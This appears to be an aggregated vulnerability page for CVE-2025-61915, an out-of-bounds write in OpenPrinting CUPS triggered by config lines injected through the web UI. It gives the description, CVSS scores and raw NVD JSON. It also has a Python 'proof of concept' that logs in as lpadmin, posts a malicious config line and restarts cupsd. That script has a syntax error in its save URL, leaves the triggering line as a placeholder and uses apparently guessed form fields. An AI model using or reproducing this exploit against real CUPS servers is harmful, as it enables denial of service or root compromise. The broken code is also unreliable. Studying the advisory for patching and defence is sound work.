Security Vulnerability Report
中文
CVE-2025-61915 CVSS 6.0 MEDIUM

CVE-2025-61915

Published: 2025-11-29 03:16:00
Last Modified: 2025-12-04 17:15:20

Description

OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. Prior to version 2.4.15, a user in the lpadmin group can use the cups web ui to change the config and insert a malicious line. Then the cupsd process which runs as root will parse the new config and cause an out-of-bound write. This issue has been patched in version 2.4.15.

CVSS Details

CVSS Score
6.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:openprinting:cups:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:opengroup:unix:-:*:*:*:*:*:*:* - NOT VULNERABLE
OpenPrinting CUPS < 2.4.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61915 PoC - OpenPrinting CUPS Out-of-Bounds Write # This PoC demonstrates the configuration injection via CUPS web interface # Note: Requires lpadmin group membership and local access import requests import re import sys def exploit_cups_oob_write(target_url, malicious_config_line): """ Exploit CVE-2025-61915 by injecting malicious config via CUPS web UI Args: target_url: Base URL of CUPS web interface (e.g., http://localhost:631) malicious_config_line: Malicious configuration line to inject """ # Step 1: Authenticate to CUPS web interface session = requests.Session() # Try default authentication or cookie-based auth auth = ('lpadmin', 'password') # Replace with valid credentials try: # Step 2: Access configuration page config_url = f"{target_url}/admin/conf/cupsd.conf" response = session.get(config_url, auth=auth) if response.status_code != 200: print(f"[-] Failed to access config page: {response.status_code}") return False # Step 3: Extract form token if CSRF protection is enabled token_match = re.search(r'name="org.cups.sid" value="([a-f0-9]+)"', response.text) csrf_token = token_match.group(1) if token_match else None # Step 4: Inject malicious configuration line # The vulnerability occurs when cupsd parses the config # Malicious line triggers out-of-bounds write in config parser payload = { 'org.cups.sid': csrf_token, 'configfile': malicious_config_line, 'submitt': 'Save', 'apply': 'Apply Changes' } save_url = f"{target_url}/admin/"/admin/conf/" exploit_response = session.post(save_url, data=payload, auth=auth) # Step 5: Trigger config reload to cause OOB write reload_url = f"{target_url}/admin/" session.post(reload_url, data={'cmd': 'restart'}, auth=auth) print("[+] Malicious config injected successfully") print("[*] cupsd will parse the config and trigger OOB write") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-61915 PoC - OpenPrinting CUPS OOB Write") print("Usage: python poc.py <target_url> <malicious_line>") print("Example: python poc.py http://localhost:631 '<malicious_config>'") if len(sys.argv) > 2: target = sys.argv[1] payload = sys.argv[2] exploit_cups_oob_write(target, payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61915", "sourceIdentifier": "[email protected]", "published": "2025-11-29T03:15:59.520", "lastModified": "2025-12-04T17:15:19.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. Prior to version 2.4.15, a user in the lpadmin group can use the cups web ui to change the config and insert a malicious line. Then the cupsd process which runs as root will parse the new config and cause an out-of-bound write. This issue has been patched in version 2.4.15."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.5, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-124"}, {"lang": "en", "value": "CWE-129"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openprinting:cups:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.15", "matchCriteriaId": "3D93D152-B5C1-4CD1-B7E9-785A55F3BE93"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:opengroup:unix:-:*:*:*:*:*:*:*", "matchCriteriaId": "6A90CB3A-9BE7-475C-9E75-6ECAD2106302"}]}]}], "references": [{"url": "https://github.com/OpenPrinting/cups/commit/db8d560262c22a21ee1e55dfd62fa98d9359bcb0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OpenPrinting/cups/releases/tag/v2.4.15", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/OpenPrinting/cups/security/advisories/GHSA-hxm8-vfpq-jrfc", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/11/27/5", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "https://github.com/OpenPrinting/cups/security/advisories/GHSA-hxm8-vfpq-jrfc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}